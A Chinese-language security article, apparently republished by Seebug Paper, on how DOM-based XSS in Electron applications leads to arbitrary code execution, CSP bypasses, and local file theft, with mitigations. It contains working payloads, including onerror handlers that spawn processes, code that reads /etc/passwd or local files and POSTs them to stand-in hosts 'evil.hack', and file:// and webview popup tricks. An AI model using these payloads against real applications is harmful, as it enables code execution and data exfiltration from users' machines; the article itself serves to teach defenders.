作者:二向箔安全
基于 Electron 的 XSS 攻擊實例,遠比你想象的簡單。
什么是 Electron
也許你從未聽說過跨平臺 XSS,也從未聽說過 Electron, 但你肯定知道 GitHub,或者使用過著名的 Atom 編輯器, 比如正在嘗試翻譯這篇文章的筆者,正在使用 Atom 來編寫 Markdown。 Electron 優秀的跨平臺特性,是本文的基礎。
簡單來說,Electron 是一個框架,用于方便開發者創建跨平臺應用。 開發者可以通過它來使用 HTML + JavaScript 來開發桌面應用。 Electron 的用戶非常廣泛,因為它確實可以為不同平臺提供同樣的體驗。
與傳統觀念的所謂“桌面應用”不同, Electron 應用包括兩個部分(Node.js 和 Chromium)作為運行環境。 分別支持一個主進程和一個渲染進程, 其中,主進程是一個非常 Node.js 風格的進程, 而渲染進程是一個可以運行 Node.js 代碼的 Chromium 內核瀏覽器。
由上文我們得知,Electron 應用是非常特殊的, 它本身是一個二進制應用,而渲染進程則是一個瀏覽器, 而 Electron 自身又具有很多的特性,所以,我們將從三個方面分析。
我們已知 Electron 的渲染進程是由 Chromium + Node.js 構成, 那么我們可以從分析傳統 Web 應用的角度,得出這樣的結論:
- DOM 操作非常多、非常頻繁
- 基于 DOM 的 XSS 會變得很容易發生
- 可以完成基于 JavaScript 的自由重定向(重定向至不可信站點)
所以,使用傳統的 Web 應用分析套路來處理 Electron 是十分必要的。
什么是 DOM-Based XSS
眾所周知,DOM-Based XSS 的頻發主要是因為 DOM 相關處理不當。 DOM-Based XSS 是因未經轉義的用戶輸入被直接生成為 HTML 而產生。 一般而言,隨著 DOM 操作的增多,DOM-Based XSS 發生的概率也會大大提高。 下面是兩段 Electron 應用存在 DOM-Based XSS 的示例代碼:
// Demo 1
fs.readFile( filename, (err,data) => {
if(!err) element.innerHTML = data; //XSS!
});
// Demo 2
fs.readdir( dirname, (err,files) => {
files.forEach( (filename) => {
let elm = document.createElement( "div" );
elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS!
paerntElm.appendChild( elm );
});
});
對于 Electron 應用而言,一旦 DOM-Based XSS 發生將是災難性的。 原因是:Node.js 在很多情況下是可以被攻擊者進行代碼注入的! 除此之外,一般觀念里的 XSS = ALERT 在這里是不適用的。
XSS 還有諸多玩法:
- 讀寫本地文件
- 以任何協議進行通信
- 通過接口與其他進程通信
- 隨意地啟動其他程序(啟動其他進程)
也就是說,通過 DOM-Based XSS 可能被用于執行二進制代碼。 在后文中,我們將詳細地研究在 Electron 中的 DOM-Based XSS。
與傳統的 XSS 的不同之處
現在我們進行一個對比, 對比傳統的 Web 應用中的 XSS、瀏覽器沙盒中的 XSS 和 Electron 中的 XSS。
傳統的 Web 應用中的 XSS
- 顯示虛假信息、泄露 Cookie、泄露網站內信息……
- 所有 JavaScript 在『在網站內』能做的事
- 除了『網站內』的,啥都不能做
被瀏覽器沙盒保護中的 XSS
- 即使存在 XSS,對除了 XSS 所在網站的其他站點沒有影響
- 站點可以為自己存在的 XSS 承擔責任,不影響其他人
在 Electron 中的 XSS
- 可以以當前用戶權限啟動任意代碼
- 所有用戶能做的事情,Electron 中的 XSS 都可以做
- 可以超過存在 XSS 的應用本身產生影響
深入分析 Electron 中的 DOM-Based XSS
傳統的 XSS 危害
- 彈窗(ALERT)
- 顯示假消息(比如插入一個『請輸入密碼』的文本框)
- 打 Cookie(核心功能)
- 盜取敏感信息(讀取密碼框內容等)
- 其它……
Electron 的 DOM-Based XSS 使任意代碼執行變為可能。 這意味著,DOM-Based XSS 獲得了如同緩沖區溢出的攻擊效果。
與傳統的 DOM-Based XSS 相比,Electron 中的 DOM-Based:
- 攻擊向量選擇更加多樣,甚至可以與 HTTP 無關
- HTML 生成數量少且不復雜,往往不會有非常多的依賴
因此,Electron 中的 DOM 操作必須更精細,嚴格轉義是必要的。(渲染進程中可以使用 Node 函數) 基于這個特性,攻擊者可以在此之中插入 Node 函數用于攻擊, 比如,這是一個普通的 XSS 實例:
// xss_source 是攻擊者可以控制的字符串
elm.innerHTML = xss_source; // XSS!
攻擊者可以以下面的方式利用:
// 彈計算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 讀取本地文件并發送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
很多開發者使用 CSP 來限制 XSS 帶來的影響, 那么這種方法是否適用于 Electron 的 DOM-Based XSS 呢? 答案是否定的。下面我們將通過幾個例子來講解。
<!-- 這是一個渲染器中的示例,可以看到 CSP 設置 -->
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'">
</head>
<body>
<script src="./index.js"></script>
</body>
在這種情況下,我們可以通過meta refresh來穿過 CSP:
// 這是 index.js 中的內容
elm.innerHTML = xss_source; // XSS!
// 這是我們對 xss_source 的控制
xss_source = '<meta http-equiv="refresh" content="0;http://evil.hack/">';
// 這是 evil.hack 中的<script>腳本內容
require('child_process').exec('calc.exe',null);
以上過程成功地彈出了計算器。也就是說,Node 語句依然有效。 下面,我們介紹另一種思路,依然是先看一個示例:
<!-- 這是一個渲染器中的示例,可以看到 CSP 設置 -->
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
</head>
<body>
<iframe id="iframe"></iframe>
<script src="./index.js"></script>
</body>
// index.js
iframe.setAttribute("src", xss_source); // XSS!
// 這是 main.js 的節選
win = new BrowserWindow({width:600, height:400});
win.loadURL(`file://${__dirname}/index.html`);
在這種情況下,我們可以構建:
xss_source = 'file://remote-server/share/trap.html';
// 下面是 trap.html 中的腳本
window.top.location=`data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>`;
此方法依然成功的繞過了 CSP 限制, 原因是在 main.js 中的 file:// 與 trap.html 中的 file:// 被認為是同源的。
私有 API 與架構的安全風險
接下來要內容是分析 Electron 自身帶有的豐富的 API、函數和標簽帶來的安全問題。
私有 API
標簽 - shell.openExternal 等
Electron 的架構問題
- 瀏覽器窗口默認支持加載file://
- 并沒有與普通瀏覽器一般的地址欄
本地文件信息竊取
我們發現在默認情況下,Node 語句是可用的。 但是,如果開發者禁用了 Node 語句:
// main.js 節選
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
這種情況下,我們注入的 Node 語句不生效,可造成的威脅降低了。 看起來,在創建 BrowserWindow 的時候禁用 Node 語句是必要的。 但是,如果 Node 語句被禁用,Electron 會變得很雞肋。
如果開發者執意禁止 Node 語句,我們依然不是無計可施的。 以剛剛的 main.js 為例,我們可以通過xhr來做更多的事情。
var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );
通過上面的代碼,我們可以讀取本地文件并將其發送出去。 這使得開發者在犧牲 Electron 的實用性禁用 Node 語句后, XSS 依舊十分強大。
iframe 沙盒
iframe 的沙盒可以用于限制 DOM 操作訪問沙盒內部,從而降低 XSS 威脅性, 即使是 DOM-Based XSS 在 iframe 中發生,影響也十分有限。 比如如下的情況,在外部控制 iframe 是無效的。
<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg>'test'</div>..."></iframe>
<script>
...
document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML ="Hello, XSS!<script>alert(1)<\/script>"; // not work
</script>
下面是一些常用的 sandbox params:
- allow-same-origin 允許作為包含文檔的同源內容被處理
- allow-scripts 允許執行腳本(危險!這意味著 JavaScript 將被正常執行)
- allow-forms 允許提交表單
- allow-top-navigation 允許內容被加載到頂層(危險!)
- allow-popups 允許彈出窗口(危險!)
下面是一個啟用allow-popups的例子,以此來說明影響:
<iframe sandbox="allow-same-origin allow-popups" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>
<script>
...
var xss = `<a target="_blank" href="data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>">Click</a>`;
document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML = xss;
</script>
在這種情況下,用戶一旦點擊,就會彈出窗口。 根據默認可執行 Node 語句的特性,彈出計算器。
webview 標簽的風險
webview 標簽是用于在 Electron 中打開其它頁面使用的。
- 不同于 iframe,webview 沒有訪問 webview 外部途徑
- 不同于 iframe,webview 同樣不可以被外部操作 DOM
- 每一個 webview 都可以被單獨地控制是否可以 Node 語句執行
- 通過allowpopups屬性,webview 可以彈出窗口
- 可以使用
window.open()、<a target=_blank>等語句打開新窗口 - 在 iframe 與 webview 中,對 Node 語句執行的控制是不同的
- 在 iframe 中,Node 語句一直被禁止執行,而彈出的窗口可以執行
- 在 webview 中,Node 語句默認被禁止執行,彈出的窗口同樣被禁止
- 在 webview 中,Node 語句執行被設置為允許時,彈出的窗口是允許執行的
- webview 即使禁止了 Node 語句執行,在preload腳本中的 Node 依然是可用的。
<webview src="http://example.jp/" preload="./prealod.js"></webview>
//preload.js
window.loadConfig = function(){
let file = `${__dirname}/config.json`;
let s = require("fs").readFileSync( file, "utf-8" );
return JSON.eval( s );
};
通常情況下,開發者會將存在的 Web App 變為一個 Native App, 然后,在 webview 中啟動存在的 Web App. 在這里容易出現的問題是,開發者常常需要使用第三方服務接入此頁面。
比如第三方廣告、視頻播放腳本等,它們具有完整能力。 比如執行任意的 JavaScript、構造假頁面、污染頁面等, 如果這個 webview 可以使用 Node,那就更有意思了。
<body>
<webview src="http://test.cn/"></webview>
<script src="native-apps.js"></script>
</body>
通常的應對之策也易于理解:控制第三方內容的權限,比如通過 iframe 沙盒, 但這不適用于某些嵌入式 JavaScript 廣告。 對于 Web App 來說,還有地址欄這個東西,可以讓用戶自己確認站點是否有效;
瀏覽器的存在和同源策略大大限制了其影響。 但對于 Electron 來說,沒有地址欄,這帶來了很大的風險。 更重要的是,一旦 Node 語句被允許執行,威脅能力將大大提高。
下面我們介紹如何利用存在allowpopups設置的 webview:
<webview src="http://test.cn/" allowpopups></webview>
攻擊主要原因是在 window.open 中,file:// 依然可用, 這使得攻擊者在可以進行與前文類似的本地文件讀取等操作。
// http://test.cn
window.open("file://remote-server/share/trap.html");
// trap.html
var xhr = new XMLHttpRequest();
xhr.open( "GET", "file://C:/secret.txt", true );
解決方案很簡單:
- 關掉 allowpopups
- 如果一定要用,就在 main.js 中進行 url 合法性檢查
shell.openExternal 與 shell.openItem 的風險
shell.openExternal 與 shell.openItem 是 Electron 用于打開外部程序的 API。
const {shell} = require('electron');
const url = 'http://example.cn/';
shell.openExternal(url); // 打開系統默認瀏覽器
shell.openItem( url );
let file = 'C:/Users/test/test.txt';
shell.openExternal( file ); // 打開文件
shell.openItem( file );
let file = ''file://C:/Users/test/test.txt';';
shell.openExternal( file ); // 打開文件
shell.openItem( file );
常見的情況是 Electron 調用外部瀏覽器打開,如下:
webview.on( 'new-window', (e) => {
shell.openExternal( e.url ); // 系統瀏覽器打開
});
此時,如何攻擊者可以構造 URL 如下,則可以執行任意程序。 需要注意:此處不能傳遞參數。
<a href="file://c:/windows/system32/calc.exe">Click</a>
應對之策也很簡單,檢查 URL 合法性即可(如匹配協議等)。
結論:
- Electron 存在 DOM-Based XSS 基本就是一死
- Electron 隨處可見的 Node 執行、外部腳本執行
- 即使外部腳本被禁了,還可以使用file://進行有效的攻擊
參考:
http://utf-8.jp/cb2016/cb-hasegawa-en.pdf
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/370/
暫無評論